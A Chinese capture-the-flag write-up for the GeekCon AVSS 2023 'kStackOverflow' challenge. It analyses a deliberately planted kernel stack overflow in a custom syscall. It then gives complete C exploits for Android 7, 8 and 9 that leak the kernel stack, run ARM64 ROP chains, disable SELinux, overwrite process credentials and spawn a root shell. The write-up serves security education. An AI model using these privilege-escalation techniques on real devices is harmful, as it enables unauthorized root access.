GeekCon AVSS 2023 Qualifier - kStackOverflow

image-20230906145408644

附件:KV1.tar.gz

漏洞分析

说明文档中指出了漏洞点,在新创建的601号系统调用中,stackof_write()stackof_read() 中使用了未检查的用户态参数 len,在拷贝内容时产生了越界读和越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
noinline long my_cfu(char *buffer, char __user * addr, unsigned long len) {
unsigned long l = len ^ 0xdeadbeefdeadbeef;
return copy_from_user(buffer,addr,l);
}
noinline long my_ctu(char *buffer, char __user * addr, unsigned long len) {
unsigned long l = len ^ 0xdeadbeefdeadbeef;
return copy_to_user(addr,buffer,l);
}

noinline long stackof_write(char __user * addr, unsigned long len) {
char buffer[0x100];
long ans;
memset(buffer, 0, sizeof(buffer));
ans=my_cfu(buffer,addr,len); // 越界写内核栈
return ans;
}
noinline long stackof_read(char __user * addr, unsigned long len) {
char buffer[0x100];
long ans;
memset(buffer, 0, sizeof(buffer));
ans=my_ctu(buffer,addr,len); // 越界读内核栈
return ans;
}

noinline long sys_stackof_handler(char __user * addr, unsigned long len, int option) {
if(option){
return stackof_read(addr,len);
}
else{
return stackof_write(addr,len);
}
}

asmlinkage long sys_stackof(char __user *addr, unsigned long len,int option)
// SYSCALL_DEFINE3(stackof, char __user * , addr, unsigned long,len ,int ,option)
{
// printk(KERN_INFO "In syscall stackof\n");
char buffer[0x800];
memset(buffer, 0, sizeof(buffer));
sprintf(buffer, "option: %d", option);
printk(KERN_INFO "In syscall stackof. %s\n", buffer);

return sys_stackof_handler(addr, len, option);
}

漏洞利用

  • 利用 stackof_read() 函数的越界读,可以泄露任意长度的内核栈信息到用户态

  • 利用 stackof_write() 函数的越界写,可以写任意长度的信息到内核栈中

android 7

内核版本:linux 3.10.0

利用思路:

  1. 通过 stackof_read() 泄露内核栈地址(高地址)
  2. 通过 stackof_write() 将gadget布置到内核栈中,同时覆盖栈中的返回地址达成控制流劫持
  3. 系统开启PXN,无法ret2usr。所以利用rop将栈迁移到有gadget的栈空间(低地址)
  4. 继续rop,执行commit_creds(&init_cred) ,将 selinux_enforcing 处设置成0以关闭selinux
  5. 再次利用rop栈迁移,使上下文跟控制流劫持之前相同(x29,x30和sp),于是可成功返回用户态
  6. 在用户态拿root shell

过程简记:

首先,用stackof_write 成功控制返回地址,计算返回地址距离输入起始位置偏移0x108字节

image-20230906133222634

系统开启PXN,无法直接ret2usr。但可以访问用户态数据,考虑两种方法:

  1. rop改 addr_limit
  2. rop执行 commit_cred(init_cred) 。【只能栈迁移到内核栈】

为了回用户态后的操作简单点,选了第二种方式。

要rop,就得栈迁移。

既然要栈迁移,那么要保证迁移前后,sp和x29以及x30都是正常的状态,这样回到栈迁移的点就能正常返回到用户态。如下:

在控制流劫持的点,原本应该ret 到 0xffffffc0000c3248, 栈地址是通过read泄露出来的偏移 0x100 的8个字节内容 。

image-20230906133422852

所以,先将栈迁移到栈的低地址,执行完目标功能后,再设置好x29和x30的值,让其正常返回用户态。

找到四条gadget,可以完成两次栈迁移,并顺利返回用户态:

1
2
3
4
unsigned long gadget1 = 0xffffffc00009fc68;     // : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc0000da954; // : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget3 = 0xffffffc0000cda00; // : : str w0, [x1, #0x14] ; ldp x29, x30, [sp], #0x10 ; ret
unsigned long gadget4 = 0xffffffc0000d6ae4; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x80 ; ret

本地 root shell

image-20230906133540662

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xffffffc0000c3248

unsigned long arg1, arg2;

unsigned long init_cred_addr = 0xFFFFFFC0006A0D18;
unsigned long commit_cred_func = 0xFFFFFFC0000C0E18+0x4; // do not exec "STP X29, X30, [SP,#var_30]!"
unsigned long selinux_enforcing_addr = 0xFFFFFFC0006EBA0C;

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}

unsigned long gadget1 = 0xffffffc00009fc68; // : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc0000da954; // : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget3 = 0xffffffc0000cda00; // : : str w0, [x1, #0x14] ; ldp x29, x30, [sp], #0x10 ; ret
unsigned long gadget4 = 0xffffffc0000d6ae4; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x80 ; ret


int main(){

char* read_buf = malloc(0x200);
char* write_buf = malloc(0x200);
memset(read_buf, 0x0, 0x200);
memset(write_buf, 0x41, 0x100);

// char* test = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf";
// memcpy(write_buf,test,0x200);

k_stackof_read(read_buf, 0x200);
hexdump(read_buf, 0x200);
unsigned long real_k_sp = *((unsigned long*)&read_buf[0x100]);
printf("real_k_sp: 0x%lx\n",real_k_sp);


*((unsigned long *)&write_buf[0x100]) = real_k_sp - 0x110; // kernel rop, fake kernel sp
*((unsigned long *)&write_buf[0x108]) = gadget1; // gadget

*((unsigned long *)&write_buf[8*0]) = real_k_sp - 0x110 + 0x10; // ->x29
*((unsigned long *)&write_buf[8*1]) = gadget2; // ->x30
*((unsigned long *)&write_buf[8*2]) = real_k_sp - 0x110 + 0x30; //<-sp ->x29
*((unsigned long *)&write_buf[8*3]) = commit_cred_func; // ->x30
*((unsigned long *)&write_buf[8*4]) = init_cred_addr;
*((unsigned long *)&write_buf[8*5]) = 0x0;
*((unsigned long *)&write_buf[8*6]) = real_k_sp - 0x110 + 0x48; // <- sp
*((unsigned long *)&write_buf[8*7]) = gadget2;
*((unsigned long *)&write_buf[8*8]) = 0x5;
*((unsigned long *)&write_buf[8*9]) = 0x6;
*((unsigned long *)&write_buf[8*10]) = 0x7;
*((unsigned long *)&write_buf[8*11]) = 0; // set selinux value
*((unsigned long *)&write_buf[8*12]) = selinux_enforcing_addr - 0x14; // selinux_enforcing addr
*((unsigned long *)&write_buf[8*13]) = gadget3; // ->x30
*((unsigned long *)&write_buf[8*14]) = 0x11;
*((unsigned long *)&write_buf[8*15]) = 0x12;
*((unsigned long *)&write_buf[8*16]) = 0x13;
*((unsigned long *)&write_buf[8*17]) = gadget4;
*((unsigned long *)&write_buf[8*18]) = 0x15;
*((unsigned long *)&write_buf[8*19]) = 0x16;
*((unsigned long *)&write_buf[8*20]) = real_k_sp;
*((unsigned long *)&write_buf[8*21]) = KERNEL_RET;


hexdump(write_buf, 0x200);
k_stackof_write(write_buf,0x110);

system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 8

内核版本:linux 3.18.94

整体利用思路跟android 7一样,只不过这里没找到合适gadget,所以不再在内核中执行commit_creds(),而是先改addr_limit,然后回用户态通过pipe任意内核读写完成提权。

利用思路:

  1. 通过 stackof_read() 泄露内核栈地址(高地址)
  2. 通过 stackof_write() 将gadget布置到内核栈中,同时覆盖栈中的返回地址达成控制流劫持
  3. 系统开启PXN,无法ret2usr。所以利用rop将栈迁移到有gadget的栈空间(低地址)
  4. 继续rop,执行一次任意地址写,将addr_limit写成X2中存储的一个很大的值
  5. 再次利用rop栈迁移,使上下文跟控制流劫持之前相同(x29,x30和sp),于是可成功返回用户态
  6. 在用户态通过pipe任意内核地址读写,改掉当前进程的cred,关闭selinux
  7. 在用户态拿root shell

利用控制流劫持点,寄存器中的内容,降低rop gadget的复杂度:

  • x2的值是一个很大的值0xffffffffffffffd0,写addr_limit绰绰有余
  • x9 x10 x11等寄存器中的内容是用户态可控的

image-20230906135028344

找的四条gadget如下,在内核态完成了一次任意地址写(将 thread_info->addr_limit 写成了X2的值0xffffffffffffffd0)

1
2
3
4
unsigned long gadget1 = 0xffffffc0000a24e8;     //  : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc00016fa4c; // : mov x0, x9 ; ldp x29, x30, [sp], #0x70 ; ret
unsigned long gadget3 = 0xffffffc0003dc88c; // : str x2, [x0, #0x38] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget4 = 0xffffffc0000deb98; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x70 ; ret

写完addr_limit 后,返回用户态。先关闭selinux。再利用泄露的sp地址,计算 thread_info->task 并读出task地址。再根据task中 task_struct->cred 的偏移,读出cred所在地址。最后写cred,完成提权。

本地 root shell:

image-20230906135208019

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xFFFFFFC0000BF0B8

unsigned long arg1, arg2;

unsigned long selinux_enforcing_addr = 0xFFFFFFC0009C74A4;
unsigned long addr_limit_addr = 0;


#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}

unsigned long gadget1 = 0xffffffc0000a24e8; // : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc00016fa4c; // : mov x0, x9 ; ldp x29, x30, [sp], #0x70 ; ret
unsigned long gadget3 = 0xffffffc0003dc88c; // : str x2, [x0, #0x38] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget4 = 0xffffffc0000deb98; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x70 ; ret

/*
0xffffffc0000845d8 : ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
0xffffffc0002ff46c : ldp x19, x21, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret
0xffffffc0000824d0 : ldp x21, x22, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
0xffffffc00008ab08 : ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret

0xffffffc000350160 : ldp x29, x30, [sp], #0x20 ; ret


0xffffffc00016fa4c : mov x0, x9 ; ldp x29, x30, [sp], #0x70 ; ret
0xffffffc0003dc88c : str x2, [x0, #0x38] ; ldp x29, x30, [sp], #0x20 ; ret

0xffffffc0000deb98 : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x70 ; ret


unsigned long gadget2 = 0xffffffc0000da954; // : ldp x0, x1, [x29, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget3 = 0xffffffc0000cda00; // : : str w0, [x1, #0x14] ; ldp x29, x30, [sp], #0x10 ; ret
unsigned long gadget4 = 0xffffffc0000d6ae4; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x80 ; ret

*/
void read_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)k_addr,0x8);
read(pipe_rw[0],(void*)u_addr,0x8);
}

void write_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x8);
read(pipe_rw[0],(void*)k_addr,0x8);
}

void write_kernel4(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x4);
read(pipe_rw[0],(void*)k_addr,0x4);
}


int main(){

char* read_buf = malloc(0x200);
char* write_buf = malloc(0x200);
memset(read_buf, 0x0, 0x200);
memset(write_buf, 0x43, 0x100);

// char* test_str = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac";
// strncpy(write_buf, test_str, 0x100);

k_stackof_read(read_buf, 0x200);
hexdump(read_buf, 0x200);
unsigned long real_k_sp = *((unsigned long*)&read_buf[0x100]);
printf("real_k_sp: 0x%lx\n",real_k_sp);

*((unsigned long *)&write_buf[0x100]) = real_k_sp - 0x110; // kernel rop, fake kernel sp
*((unsigned long *)&write_buf[0x108]) = gadget1; // gadget

*((unsigned long *)&write_buf[8*0]) = 0x0; // ->x29
*((unsigned long *)&write_buf[8*1]) = gadget2; // ->x30
*((unsigned long *)&write_buf[8*2]) = 2; // <-sp ->x29
*((unsigned long *)&write_buf[8*3]) = gadget3; // ->x30
*((unsigned long *)&write_buf[8*4]) = 4;
*((unsigned long *)&write_buf[8*5]) = 5;
*((unsigned long *)&write_buf[8*6]) = 6;
*((unsigned long *)&write_buf[8*7]) = 7;
*((unsigned long *)&write_buf[8*8]) = 8;
*((unsigned long *)&write_buf[8*9]) = 9;
*((unsigned long *)&write_buf[8*10]) = 10;
*((unsigned long *)&write_buf[8*11]) = 11;
*((unsigned long *)&write_buf[8*12]) = 12;
*((unsigned long *)&write_buf[8*13]) = 13;
*((unsigned long *)&write_buf[8*14]) = 14;
*((unsigned long *)&write_buf[8*15]) = 15;
*((unsigned long *)&write_buf[8*16]) = 16; // <-sp ->x29
*((unsigned long *)&write_buf[8*17]) = gadget4; // ->x30
*((unsigned long *)&write_buf[8*18]) = 18;
*((unsigned long *)&write_buf[8*19]) = 19;
*((unsigned long *)&write_buf[8*20]) = 20; // <-sp
*((unsigned long *)&write_buf[8*21]) = 21;
*((unsigned long *)&write_buf[8*22]) = real_k_sp; // ->x29
*((unsigned long *)&write_buf[8*23]) = KERNEL_RET; // ->x30

addr_limit_addr = (real_k_sp&0xffffffffffffc000)+0x8; // thread_info->addr_limit
*((unsigned long *)&write_buf[8*26]) = addr_limit_addr - 0x38; // x9 when control flow hijacked, set it addr_limit-0x38


hexdump(write_buf, 0x200);
k_stackof_write(write_buf,0x110);
// k_stackof_write(write_buf,0x100);

// write selinux
unsigned long t_data = 0;
write_kernel4((void*)selinux_enforcing_addr, &t_data);
// printf("kernel info: %s\n",strerror(errno));
read_kernel((void*)selinux_enforcing_addr, &t_data);
printf("t_data: 0x%lx\n",t_data);

// write cred
unsigned long thread_info_addr = (real_k_sp&0xffffffffffffc000);
unsigned long task_addr = 0;
read_kernel((void*)(thread_info_addr+0x10), &task_addr);
printf("task_addr: 0x%lx\n", task_addr);

unsigned long cred_addr = 0;
read_kernel((void*)(task_addr+0x5D8), &cred_addr);
printf("task_addr: 0x%lx\n", cred_addr);

int root_id = 0;
write_kernel4((char*)(cred_addr+4), (char*)&root_id);
write_kernel4((char*)(cred_addr+8), (char*)&root_id);
write_kernel4((char*)(cred_addr+12), (char*)&root_id);
write_kernel4((char*)(cred_addr+16), (char*)&root_id);
write_kernel4((char*)(cred_addr+20), (char*)&root_id);
write_kernel4((char*)(cred_addr+24), (char*)&root_id);
write_kernel4((char*)(cred_addr+28), (char*)&root_id);
write_kernel4((char*)(cred_addr+32), (char*)&root_id);

unsigned long root_cap = 0xffffffffffffffff;
write_kernel((char*)cred_addr+0x28, (char*)&root_cap);
write_kernel((char*)cred_addr+0x30, (char*)&root_cap);
write_kernel((char*)cred_addr+0x38, (char*)&root_cap);
write_kernel((char*)cred_addr+0x40, (char*)&root_cap);
write_kernel((char*)cred_addr+0x48, (char*)&root_cap);

printf("get shell\n");
system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 9

内核版本:linux 3.18.94

利用思路跟android8完全一致,重新找了如下gadget:

1
2
3
4
unsigned long gadget1 = 0xffffffc0000a20f8;     //  : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc00016f658; // : mov x0, x9 ; ldp x29, x30, [sp], #0x70 ; ret
unsigned long gadget3 = 0xffffffc0003dc454; // : str x2, [x0, #0x38] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget4 = 0xffffffc0000de7a8; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x70 ; ret

本地 root shell

image-20230906135614067

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define SYS_STACKOF 601
#define KERNEL_RET 0xFFFFFFC0000BECC8

unsigned long arg1, arg2;

unsigned long selinux_enforcing_addr = 0xFFFFFFC0009C3334;
unsigned long addr_limit_addr = 0;

#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif

void hexdump(void *mem, unsigned int len) {
putchar('\n');
for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
/* print offset */
if(i % HEXDUMP_COLS == 0) {
printf("0x%06x: ", i);
}

/* print hex data */
if(i < len) {
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
/* end of block, just aligning for ASCII dump */
else {
printf(" ");
}

/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
/* end of block, not really printing */
if(j >= len) {
putchar(' ');
}
/* printable char */
else if(isprint(((char*)mem)[j])) {
putchar(0xFF & ((char*)mem)[j]);
}
/* other char */
else {
putchar('.');
}
}
putchar('\n');
}
}
putchar('\n');
}

k_stackof_read(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_read - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 1);
}

k_stackof_write(void* addr, unsigned long len){
arg1 = addr;
arg2 = (len^0xdeadbeefdeadbeef);
printf("k_stackof_write - arg2: %lx\n",arg2);
syscall(SYS_STACKOF, arg1, arg2, 0);
}

unsigned long gadget1 = 0xffffffc0000a20f8; // : sub sp, x29, #0x10 ; mov w0, #0 ; ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x20 ; ret
unsigned long gadget2 = 0xffffffc00016f658; // : mov x0, x9 ; ldp x29, x30, [sp], #0x70 ; ret
unsigned long gadget3 = 0xffffffc0003dc454; // : str x2, [x0, #0x38] ; ldp x29, x30, [sp], #0x20 ; ret
unsigned long gadget4 = 0xffffffc0000de7a8; // : ldp x29, x30, [sp, #0x10] ; add sp, sp, #0x70 ; ret

void read_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)k_addr,0x8);
read(pipe_rw[0],(void*)u_addr,0x8);
}

void write_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x8);
read(pipe_rw[0],(void*)k_addr,0x8);
}

void write_kernel4(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x4);
read(pipe_rw[0],(void*)k_addr,0x4);
}


int main(){

char* read_buf = malloc(0x200);
char* write_buf = malloc(0x200);
memset(read_buf, 0x0, 0x200);
memset(write_buf, 0x43, 0x100);

// char* test_str = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac";
// strncpy(write_buf, test_str, 0x100);

k_stackof_read(read_buf, 0x200);
hexdump(read_buf, 0x200);
unsigned long real_k_sp = *((unsigned long*)&read_buf[0x100]);
printf("real_k_sp: 0x%lx\n",real_k_sp);

*((unsigned long *)&write_buf[0x100]) = real_k_sp - 0x110; // kernel rop, fake kernel sp
*((unsigned long *)&write_buf[0x108]) = gadget1; // gadget

*((unsigned long *)&write_buf[8*0]) = 0x0; // ->x29
*((unsigned long *)&write_buf[8*1]) = gadget2; // ->x30
*((unsigned long *)&write_buf[8*2]) = 2; // <-sp ->x29
*((unsigned long *)&write_buf[8*3]) = gadget3; // ->x30
*((unsigned long *)&write_buf[8*4]) = 4;
*((unsigned long *)&write_buf[8*5]) = 5;
*((unsigned long *)&write_buf[8*6]) = 6;
*((unsigned long *)&write_buf[8*7]) = 7;
*((unsigned long *)&write_buf[8*8]) = 8;
*((unsigned long *)&write_buf[8*9]) = 9;
*((unsigned long *)&write_buf[8*10]) = 10;
*((unsigned long *)&write_buf[8*11]) = 11;
*((unsigned long *)&write_buf[8*12]) = 12;
*((unsigned long *)&write_buf[8*13]) = 13;
*((unsigned long *)&write_buf[8*14]) = 14;
*((unsigned long *)&write_buf[8*15]) = 15;
*((unsigned long *)&write_buf[8*16]) = 16; // <-sp ->x29
*((unsigned long *)&write_buf[8*17]) = gadget4; // ->x30
*((unsigned long *)&write_buf[8*18]) = 18;
*((unsigned long *)&write_buf[8*19]) = 19;
*((unsigned long *)&write_buf[8*20]) = 20; // <-sp
*((unsigned long *)&write_buf[8*21]) = 21;
*((unsigned long *)&write_buf[8*22]) = real_k_sp; // ->x29
*((unsigned long *)&write_buf[8*23]) = KERNEL_RET; // ->x30

addr_limit_addr = (real_k_sp&0xffffffffffffc000)+0x8; // thread_info->addr_limit
*((unsigned long *)&write_buf[8*26]) = addr_limit_addr - 0x38; // x9 when control flow hijacked, set it addr_limit-0x38

hexdump(write_buf, 0x200);
k_stackof_write(write_buf,0x110);
// k_stackof_write(write_buf,0x100);

// write selinux
unsigned long t_data = 0;
write_kernel4((void*)selinux_enforcing_addr, &t_data);
// printf("kernel info: %s\n",strerror(errno));
read_kernel((void*)selinux_enforcing_addr, &t_data);
printf("selinux_enforcing : 0x%lx\n",t_data);

// write cred
unsigned long thread_info_addr = (real_k_sp&0xffffffffffffc000);
unsigned long task_addr = 0;
read_kernel((void*)(thread_info_addr+0x10), &task_addr);
printf("task_addr: 0x%lx\n", task_addr);

unsigned long cred_addr = 0;
read_kernel((void*)(task_addr+0x5D8), &cred_addr);
printf("cred_addr: 0x%lx\n", cred_addr);

int root_id = 0;
write_kernel4((char*)(cred_addr+4), (char*)&root_id);
write_kernel4((char*)(cred_addr+8), (char*)&root_id);
write_kernel4((char*)(cred_addr+12), (char*)&root_id);
write_kernel4((char*)(cred_addr+16), (char*)&root_id);
write_kernel4((char*)(cred_addr+20), (char*)&root_id);
write_kernel4((char*)(cred_addr+24), (char*)&root_id);
write_kernel4((char*)(cred_addr+28), (char*)&root_id);
write_kernel4((char*)(cred_addr+32), (char*)&root_id);

unsigned long root_cap = 0xffffffffffffffff;
write_kernel((char*)cred_addr+0x28, (char*)&root_cap);
write_kernel((char*)cred_addr+0x30, (char*)&root_cap);
write_kernel((char*)cred_addr+0x38, (char*)&root_cap);
write_kernel((char*)cred_addr+0x40, (char*)&root_cap);
write_kernel((char*)cred_addr+0x48, (char*)&root_cap);

printf("get root shell\n");
system("/system/bin/sh");

printf("exit\n");
return 0;
}

android 10

内核版本:linux 4.14.175

1
2
3
4
5
6
generic_arm64:/ # cat /proc/iomem
[...]
40000000-bfffffff : System RAM
40080000-40b9ffff : Kernel code
40da0000-40f0ffff : Kernel data
[...]

这个版本跟上一个版本相比,栈中多了cookie,函数返回时多了对cookie的检查。但cookie是固定值,可通过stackof_read() 泄露出来。

